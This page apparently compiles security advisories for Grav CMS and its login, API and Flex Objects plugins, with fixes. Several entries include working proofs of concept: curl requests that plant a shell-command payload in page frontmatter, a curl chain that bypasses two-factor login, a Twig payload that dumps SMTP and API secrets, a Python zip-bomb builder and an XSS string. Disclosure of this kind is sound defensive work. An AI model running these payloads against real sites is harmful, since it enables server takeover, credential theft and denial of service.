See how grav compares to other vendors in security performance
Grav 1.7.50.2 allows admins to enter JavaScript via the Home Page editor. NOTE: the relevance of this for stored XSS is disputed because admins are allowed to modify templates, install plugins, and upload other executable content.
Grav before 2.0.20 contains a cross-site scripting vulnerability in the Twig sandbox policy that allowlists addJs and addCss methods on Grav\Common\Assets without proper output escaping. Page editors can inject arbitrary script by registering malicious assets or injecting attributes, which are rendered unescaped into document head tags and executed for all visitors including administrators.
Grav versions before 1.10.55 contain a path traversal vulnerability in the admin plugin's Save As action that fails to validate the language code parameter. An authenticated admin user with admin.pages.create permission can supply directory traversal sequences in the lang POST field to write arbitrary .md files outside the pages directory with attacker-controlled content.
Grav versions 2.0.0 through 2.0.17 fail to apply save-time XSS detection to modular pages, allowing authenticated page editors to store Twig-assembled XSS payloads. Attackers with page-edit rights can create modular pages with malicious Twig code that executes in visitor browsers when the parent page is rendered, including in administrator sessions.
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer() and Pages::referrerRoute() methods, which validate the Referer header using an unanchored string prefix match (strstartswith($referrer, $base)) with no trailing delimiter. An attacker who controls a domain that begins with the victim site's origin (e.g. https://example.com.attacker.tld) can send a request with such a Referer to be treated as same-origin, bypassing the Referer-based origin check.
Grav CMS before 2.0.16 contains a timing vulnerability in Utils::verifyNonce() that uses non-constant-time string comparison with the === operator instead of hashequals() for CSRF nonce validation. Attackers can measure response timing differences to recover valid nonce values byte-by-byte through multiple requests, weakening CSRF protection below its intended security margin.
The getgrav/grav-plugin-login Composer plugin before 3.9.1 (used by Grav) compares password reset and account activation tokens using a non-constant-time === string comparison instead of hashequals() in classes/Controller.php (taskReset()) and login.php (activation handler). Because the token-submission endpoint (taskReset) also lacks rate limiting, an attacker could in principle send repeated token guesses against a known username and use the timing differences to attempt to recover a valid token, though the vendor rates the practical exploitability as low and no end-to-end network exploit has been demonstrated.
Grav CMS before 2.0.16 fails to filter system, site, and theme configuration arrays in sandboxed Twig renders, allowing content editors to read sensitive configuration values. Attackers with page-content edit access can access raw configuration arrays including secrets like cache credentials by using dot notation in Twig templates, bypassing the configdeniedpaths restrictions.
Grav CMS before 2.0.16 contains a path traversal vulnerability in the mediadirectory() Twig function that fails to validate filesystem paths, allowing authenticated users to enumerate and access files outside intended scope. Attackers with page authoring privileges can supply arbitrary filesystem paths to mediadirectory() and use the allow-listed filepath accessor on Medium objects to read file contents of any file matching configured media extensions that the web server process can access.
Grav CMS before 2.0.16 contains a symlink following vulnerability in Scheduler Job::createLockFile() that allows local attackers to overwrite arbitrary files by pre-creating symlinks at predictable lock file paths in the world-writable temp directory. Attackers can place a symlink at the predictable lock path pointing to any file the web server process can write to, and the next scheduled job run will follow the symlink and overwrite the target file's content with the job ID string.
Grav before 2.0.16 contains a path traversal vulnerability in MediaUploadTrait::deleteFile() that allows authenticated users with media management permissions to delete arbitrary files by supplying filenames with directory traversal sequences. The method validates only the basename portion of the filename while preserving unvalidated directory paths containing ../ sequences that are passed to unlink(), enabling deletion of files outside the intended media storage directory.
Grav before 3.9.2 fails to validate untrusted Host headers in the sendInvitationEmail() function when constructing token-bearing invitation links. Attackers can manipulate the Host header to poison invitation links and redirect users to attacker-controlled domains, bypassing the requiretrustedhost protection which only covers password reset flows.
Grav API plugin before 1.0.16 contains a server-side request forgery vulnerability in webhook delivery that allows attackers to bypass hostname validation by DNS rebinding. Attackers controlling authoritative DNS for a configured webhook hostname can answer validation lookups with public addresses and delivery lookups with private addresses to reach internal network resources.
Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content. Prior to 1.0.8, the Grav API plugin intercepts the apiKeyGenerate and apiKeyRevoke admin tasks in user/plugins/api/api.php and authorizes the caller with only admin.login. A basic panel user can select another account from the route, create a persistent ApiKeyManager credential bound to that target, and inherit the target's API permissions, including api.super or administrative write access when present. This issue is fixed in version 1.0.8.
Summary An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.
Details Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to calluserfuncarray() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.
PoC Placeholders: <BASEURL> the site; <SESSIONCOOKIE> an admin session cookie for an account with admin.pages; <ADMINNONCE> the admin-nonce on any admin page (window.GravAdmin.config.adminnonce).
Save a "form" page whose field carries the callable directive:
curl '<BASEURL>/admin/pages/rcepoc' \ -H 'Cookie: <SESSIONCOOKIE>' \ --data-urlencode 'task=save' \ --data-urlencode 'admin-nonce=<ADMINNONCE>' \ --data-urlencode 'data[folder]=rcepoc' \ --data-urlencode 'data[name]=form' \ --data-urlencode 'data[title]=x' \ --data-urlencode 'data[content]=hi' \ --data-urlencode "data[frontmatter]=forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::arrayFilterRecursive' - { 'echo GRAV-RCE-OK; id': 'x' } - system"
Trigger it as an unauthenticated visitor:
curl '<BASEURL>/rcepoc'
Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.
Impact Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.
Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.
Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content. Prior to 1.0.0-rc.16, the Grav API plugin CorsMiddleware returns Access-Control-Allow-Origin: and permissive OPTIONS responses for authenticated /api/v1 endpoints. JavaScript from any origin can submit an attacker-obtained JWT through the Authorization or X-API-Token header, read the authenticated response, and perform write operations with the token owner's privileges, enabling data exfiltration and account modification. This issue is fixed in version 1.0.0-rc.16.
Grav Login Plugin adds login, basic ACL, and session wide messages to Grav. Prior to 3.8.11, the Grav Login plugin login.regenerate2FASecret task accepts a top-level GET request through the TaskServiceProvider task: URI parameter without requiring a login-form nonce, an Origin check, or a Referer check. Under the default SameSite=Lax session cookie policy, an off-site navigation can invoke taskRegenerate2FASecret() in a logged-in victim's session, overwrite the victim's TOTP secret, and force two-factor re-enrollment. This issue is fixed in version 3.8.11.
Summary
The default .htaccess shipped with Grav (and the reference webserver-configs/htaccess.txt) contains security rules that block direct HTTP access to sensitive file types (.yaml, .yml, .php, .json, .twig, etc.) under user/ and system/vendor/ directories. However, these rules lack the [NC] (No Case) flag, making them case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Linux with Docker volumes mounted from Windows/macOS), an attacker can bypass these rules by requesting files with uppercase extensions (e.g., .YAML, .PHP, .JSON).
Affected Versions
- Grav 2.0.1 (latest stable as of June 2026) — confirmed - Grav 1.7.x — likely affected (same .htaccess rules) - All versions shipping the current webserver-configs/htaccess.txt
Affected Component
File: .htaccess (root of Grav installation) Reference: webserver-configs/htaccess.txt
Affected Rules (lines 68, 70, 72)
apache Line 68 — system/vendor file types RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]
Line 70 — user file types RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]
Line 72 — .md files globally RewriteRule \.md$ error [F]
All three rules use [F] without [NC], making the extension match case-sensitive.
Steps to Reproduce
1. Install Grav on a system with a case-insensitive filesystem: - Windows (native WAMP/XAMPP) - macOS (default HFS+) - Docker on Windows/macOS with volume mounts (e.g., ./data:/var/www/html)
2. Create or use any plugin that stores sensitive data in its YAML config (e.g., API keys): user/plugins/my-plugin/my-plugin.yaml
3. Request the file with a case-varied extension: GET /user/plugins/my-plugin/my-plugin.YAML HTTP/1.1
4. Expected: HTTP 403 Forbidden 5. Actual: HTTP 200 OK — full file contents returned, including any API keys or sensitive configuration
Impact
- Information disclosure: Plugin configuration files (.yaml) containing API keys, credentials, or sensitive settings can be read by unauthenticated users - Source code exposure: PHP source files can be downloaded (instead of executed) when requested with .PHP extension on some configurations - Configuration exposure: user/config/system.yaml, user/config/site.yaml, and other system configuration files are accessible
Fix
Add the [NC] flag to the three affected rules:
apache RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule \.md$ error [F,NC]
The [NC] flag makes the extension matching case-insensitive, covering .YAML, .Yaml, .PHP, .Json, etc.
Mitigating Factors
- On native Linux with ext4 filesystem (case-sensitive), the attack does not work because Apache cannot resolve the uppercase filename to the actual file - Grav 2.0's Twig sandbox blocks access to plugins config subtree from page content, preventing SSTI-based config exfiltration - The user/accounts/, user/config/, and user/data/ folders have separate rules (line 62, 66) that block ALL file types regardless of extension — these are not affected
Environment
- Grav: 2.0.1 - PHP: 8.3 - Apache: 2.4 with modrewrite - OS: Docker (php:8.3-apache) with volume mounted from Windows 10 (NTFS) - Tested: June 2026
Reporter
Sisnetic
Grav is a file-based Web platform. Prior to 2.0.4, Grav allowlists the regexreplace filter and function in system/config/security.yaml, and GravExtension::regexReplace() passes an editor-controlled pattern directly to pregreplace(). When security.twigcontent.processenabled is enabled, an authenticated page editor can publish a catastrophically backtracking pattern that consumes PHP worker CPU and denies service to site visitors. This issue is fixed in version 2.0.4.
Summary When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofasecret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.
Details Four code locations in login plugin v3.8.10 enable the chain:
1. Session user set even with 2FA pending user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.
2. taskRegenerate2FASecret - no authorization check user/plugins/login/classes/Controller.php
php public function taskRegenerate2FASecret() { $user = $this->grav['user']; if ($user->exists()) { // ← only checks exists(), NOT authorized() $secret = $twoFa->createSecret(); $user->twofasecret = $secret; // overwrites victim's secret on disk $user->save(); $jsonresponse = [ 'status' => 'success', 'image' => $image, 'secret' => trim(pregreplace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker ]; } }
3. No CSRF nonce required user/plugins/login/login.php - the task dispatch switch only validates twofacancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.
PoC Confirmed live on this instance after enabling plugins.login.twofaenabled: true and configuring TOTP on the user account.
bash Step 1: Password-only login (lands in 2FA-pending; keep session cookie) LOGINPAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login") NONCE=$(echo "$LOGINPAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+') curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \ "http://127.0.0.1/grav/login" \ -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"
Step 2: Regenerate the 2FA secret (NO nonce required) curl -s -b /tmp/2fa.jar \ "http://127.0.0.1/grav/login/task:login.regenerate2FASecret" {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}
Step 3: Compute TOTP from the attacker-chosen secret python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())" 152656
Step 4: Complete 2FA with attacker's TOTP code curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \ -d "task=login.twofa&2facode=152656"
Step 5: Verify - fully authenticated as victim curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout' Grav User Logout
Impact Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.
The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.
Summary
The Twig content sandbox replaces config with the redacted SandboxConfig facade and strips Config::get/toArray from the method allowlist (GHSA-j274-39qw-32c9), so editor content can't read config secrets via config. That's bypassable: grav is the raw container, offsetget is allow-listed on it, so grav.offsetGet('config') returns the real Config. The allow-listed filters jsonencode/printr/yamlencode then serialize it at the PHP level, never hitting the sandbox method gate, dumping the whole config tree including every plugins. secret (SMTP creds, API keys, plugin DB creds). Incomplete fix for GHSA-j274-39qw-32c9. security.salt does not leak (it lives outside config).
Details
The documented path is blocked: config is the SandboxConfig facade (Twig.php:660) and the raw Config/Data method entries are stripped when configaccess is false, so {{ config.get(...) }} returns the default and {{ grav.offsetGet('config').get(...) }} raises SecurityNotAllowedMethodError.
The bypass uses two allow-listed primitives the redaction doesn't cover:
1. grav.offsetGet('config') returns the raw Config. The SandboxConfig facade replaces only the config variable, not grav['config']; offsetget is allow-listed on Grav\Common\Grav in system/config/security.yaml. 2. jsonencode/printr/yamlencode serialize the object inside the filter and never call GravSecurityPolicy::checkMethodAllowed (GravSecurityPolicy.php:65), so the stripped methods don't matter.
Bug class: object-dumping filters bypass the sandbox member gate. The same dump reaches page/pages/uri/user via their allow-listed accessors; config is the secret-bearing target.
Reachable below the publisher-Twig opt-in: a -prefixed slug is modular (Page.php:228), and Page::content() sets $processtwig = $scantwigxss || $this->modularTwig() (Page.php:816), so a modular child's body Twig is sandboxed-rendered even with twigcontent.processenabled false (the default), while $scantwigxss stays false so the render-time XSS scan (GHSA-2c4f-86xc-cr74) is skipped. Any admin.pages author (or filesystem write to user/pages) exfiltrates config on a stock install. On a regular process.twig page the whole-tree dump trips the XSS scan and is blanked, but a targeted split/slice extraction of one subtree is XSS-clean and survives.
PoC
Sandboxed render, configaccess default false. First two lines show the gate holding, third is the bypass:
twig {{ config.get('plugins.email.mailer.smtp.password', 'DENIED') }} {# => DENIED #} {{ grav.offsetGet('config').get('plugins.email.mailer.smtp.password') }} {# => SecurityNotAllowedMethodError 'get' #} {{ grav.offsetGet('config')|jsonencode }} {# => {...,"plugins":{"email":{"mailer":{"smtp":{"password":"CANARY..."}}}},...} #}
Stock-install reproduction (no user/config/security.yaml):
yaml user/config/plugins/email.yaml -- decoy secret mailer: { smtp: { password: CANARYSMTPPW8b3f1 } }
user/pages/70.parent/default.md --- title: Parent content: { items: '@self.modular' } template: modular ---
twig {# user/pages/70.parent/secret/default.md #} --- title: Secret template: modular/text --- {{ grav.offsetGet('config')|jsonencode }}
bash curl -s http://localhost/parent # body contains CANARYSMTPPW8b3f1
logs/security.log shows no sandbox block and no XSS scan for the route. Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, Twig 3.26.1-DEV.
Impact
A page author (admin.pages, no admin/super) reads the entire config tree: plugin SMTP credentials, API keys, plugin DB credentials. Read-only. Default install; the modular path needs no Twig opt-in.
Fix
system/config/security.yaml: drop offsetget (and get) from twigsandbox.allowedmethods for Grav\Common\Grav -- the legit uses are theme/getversion; offsetget is the raw-container reach. Closes the demonstrated path.
Sandbox-wide: make jsonencode/printr/yamlencode/string refuse non-allow-listed objects when $env->isSandboxed() (mirror the Closure-only guard Twig applies to map/filter/reduce). Closes the class for page/pages/uri/user too.
Summary ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.
---
Details
Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:
php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);
if ($archive === true) { Folder::create($destination);
// Only guards against Zip Slip (path traversal) for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name !== false && !$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } }
// Extracts EVERYTHING — no size, count, or depth limit if (!$zip->extractTo($destination)) { ... }
$zip->close(); return $this; } }
What's missing vs Installer::unZip():
| Protection | Installer::unZip() | ZipArchiver::extract() | |-----------|---------------------|------------------------| | Zip Slip guard | ✅ | ✅ | | Max uncompressed size | ✅ (1 GiB) | ❌ | | Max file count | ✅ (50000) | ❌ | | Max nesting depth | ✅ (48) | ❌ | | Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |
The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):
php // GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk. $limits = $this->archiveLimits(); $size = $count = $depth = 0;
for ($i = 0; $i < $numFiles; $i++) { $entryName = $zip->getNameIndex($i); // Check size, count, and depth BEFORE extracting anything if ($limits['maxSize'] > 0) { $size += $entry['size']; } if ($limits['maxDepth'] > 0) { ... } if ($limits['maxFiles'] > 0) { $count++; } // Reject if any limit exceeded } // Only now: $zip->extractTo($destination);
None of this validation exists in ZipArchiver::extract().
Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.
---
Proof of Concept
Step 1 - Create a zip bomb
bash Create a 10 GB zip bomb (42 kB compressed) python3 -c " import zipfile, os z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIPDEFLATED) zeros = b'\x00' (1024 1024 1024) # 1 GB of zeros for i in range(10): z.writestr(f'file{i}.txt', zeros) z.close() " ls -lh /tmp/zipbomb.zip Output: 42K /tmp/zipbomb.zip → expands to 10 GB
Step 2 - Extract via ZipArchiver
php $archiver = Archiver::create('zip'); $archiver->setArchive('/tmp/zipbomb.zip'); $archiver->extract('/tmp/extracted'); // ← no limits, fills disk
The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).
---
Impact
Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.
---
Remediation
Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():
php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);
if ($archive === true) { Folder::create($destination);
// Apply the same archive limits as Installer::unZip() $limits = $this->archiveLimits(); $totalSize = 0; $totalFiles = 0;
for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name === false) continue;
// Zip Slip guard (existing) if (!$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); }
// Decompression bomb guards (NEW) $stat = $zip->statIndex($i); $totalSize += $stat['size'] ?? 0; $totalFiles++;
$depth = count(explode('/', trim($name, '/'))); if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) { $zip->close(); throw new RuntimeException('Archive exceeds max nesting depth'); } }
if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) { $zip->close(); throw new RuntimeException('Archive exceeds max uncompressed size'); } if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) { $zip->close(); throw new RuntimeException('Archive exceeds max file count'); }
if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } }
The Grav API plugin (getgrav/grav-plugin-api, bundled with Grav 2.0) before version 1.0.14 (fixed in 1.0.15) contains a missing authorization vulnerability in BlueprintPathResolver::resolveUserScope(). The method gates the users/<name> scope on the account's raw super-admin ACL flag (access.api.super) instead of validating the presented API key's actual scope. An attacker holding an API key scoped only to api.media.write minted on a super-admin account can bypass the authorization check and, via POST /blueprint-upload or GET /blueprint-files, write a file into another user's scope (in the shared user/accounts/ directory, constrained to image extensions by assertSafeExtension()) and browse that scope's file listing, despite the key not being granted api.users.write.
Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the errorlog function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.
Grav plugin-api before 1.0.15 contains a script injection vulnerability where the SVG sanitizer only checks for the exact extension 'svg', allowing .svgz and .xhtml files to bypass sanitization and be stored unsanitized. Attackers with api.media.write permission can upload files containing executable script payloads that execute in the site origin when accessed by administrators or visitors.
Grav before 2.0.15 contains a path traversal vulnerability in the static asset server within index.php that uses string prefix matching instead of directory-boundary validation. Unauthenticated attackers can access files in sibling directories by exploiting directory names that extend the base path string, such as requesting assets-secret when assets is the configured base.
The Grav API plugin (getgrav/grav-plugin-api) versions >= 1.0.6 and <= 1.0.11 contain a privilege escalation vulnerability. A scoped API key minted on a super-admin account bypasses its declared scope cap on four isSuperAdmin()-gated write endpoints (in GroupsController, AccountsConfigController, PreferencesController, and DashboardWidgetController). These endpoints authorize via a super-admin early-return that never invokes requirePermission()—the sole enforcement point of the scope cap—so a 'read-only'-scoped key (e.g. api.pages.read) can perform super-only write operations, including rewriting group ACL maps to grant super-admin privileges to arbitrary accounts. A leaked or delegated read-only CI/monitoring key can therefore gain full super-admin write capability. Fixed in 1.0.13.
Grav versions from 1.5.2 through 2.0.12 contain a stored cross-site scripting vulnerability in the Security::detectXss() function (system/src/Grav/Common/Security.php). The event-handler scan is anchored at < and uses [^>]?, which cannot cross the first literal >; when a > appears inside a quoted attribute value the browser keeps the tag open and parses a subsequent event handler (e.g. onerror), so the detector and browser disagree. A page editor without admin.super privileges can save page content such as <img src=x title=">" onerror=alert(document.domain)>, which is accepted, stored, and executed in the site origin when any visitor (including unauthenticated users) views the page. Fixed in 2.0.13.
The Flex Objects plugin (through 1.4.6, tested with Grav 2.0.11) contains an incorrect authorization vulnerability in its Flex Objects API. FlexApiController::update() checks only the general Flex directory permission and does not apply the additional target/field/super-admin checks enforced by the dedicated Users and Groups API controllers. An authenticated account with api.access, admin.login, and users.update permissions (but without api.users.write or admin.super) can use the generic /api/v1/flex-objects/user-accounts endpoint to change a super administrator's password, or the /api/v1/flex-objects/user-groups endpoint to grant its group admin.super, resulting in full site takeover. Fixed in Flex Objects 1.4.7.
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.13 contains an API-key scope-cap bypass in UsersController's create() and update() methods. These methods enforce the scope cap only for api.users.write, but gate super-privilege grants on a bare isSuperAdmin() check that reads access.api.super directly without consulting the key's scopes. As a result, an api.users.write-scoped key minted on a super account can set access.api.super or assign a super-granting group to mint or promote a full super account, then authenticate as that account for uncapped administrative privileges.